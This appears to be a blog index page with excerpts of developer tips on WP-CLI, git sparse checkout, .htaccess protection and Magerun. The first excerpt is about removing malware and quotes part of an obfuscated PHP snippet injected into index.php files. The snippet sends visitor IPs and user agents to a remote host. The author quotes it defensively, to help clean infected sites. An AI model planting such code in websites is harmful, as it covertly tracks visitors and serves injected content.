Find and replace malware code blocks in php files via shell

Today I was attacked by an unknown bot or something like that. It placed the following code in many hundred index.php files on one of my servers, because the FTP-Password was cracked. <?php #19f955# error_reporting(0); ini_set(‘display_errors’,0); $wp_sjqe08340 = @$_SERVER[‘HTTP_USER_AGENT’]; if (( preg_match (‘/Gecko|MSIE/i’, $wp_sjqe08340) && !preg_match (‘/bot/i’, $wp_sjqe08340))){ $wp_sjqe0908340=”http://”.”http”.”href”.”.com/href”.”/?ip=”.$_SERVER[‘REMOTE_ADDR’].”&referer=”.urlencode($_SERVER[‘HTTP_HOST’]).”&ua=”.urlencode($wp_sjqe08340); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sjqe0908340);…

Install WP-CLI into a separated folder

WP-CLI (http://wp-cli.org/) is a great commandline tool to manage your WordPress installation. It has countless commands. For example to: change database settings clear the cache manage comments and posts install plugins … The “normal” installation is well documented on the project page. But I prefer to store my project tools (f.e.: vagrant, coposer, etc.) in…

Checkout subtree

Create and initialize your new repository: $> mkdir <repo> && cd <repo> $> git init $> git remote add –f <name> <url> Enable sparse-checkout: $> git config core.sparsecheckout true Configure sparse-checkout by listing your desired sub-trees in .git/info/sparse-checkout: $> echo some/dir/ >> .git/info/sparse-checkout $> echo another/sub/tree >> .git/info/sparse-checkout Checkout from the remote: $> git pull…

Protect directory with username and password

 To protect a folder with an password prompt, you only need to place a .htaccess and a .htpasswd into the target directory. .htaccess AuthUserFile /root/path/to/.htpasswd AuthGroupFile /dev/null AuthName “Title for the popup window” AuthType Basic <Limit GET> require valid-user </Limit> .htpasswd username:NiceCryptOrMD5encryptedPasswordHash The passwort can be crypted via crypt or MD5. On http://de.selfhtml.org/servercgi/server/htaccess.htm#verzeichnisschutz you can find…

Magerun

Magerun is a very useful commandline tool for dealing with daily Magento development problem like: clean / flush caches reindexing the indices set configuration values in the database (core_config_data) shorthand query syntax for database accesses … It’s developed by netz98 (http://www.netz98.de/) and made my daily business so much easier. Installation (Linux) $> wget https://raw.githubusercontent.com/netz98/n98-magerun/master/n98-magerun.phar $>…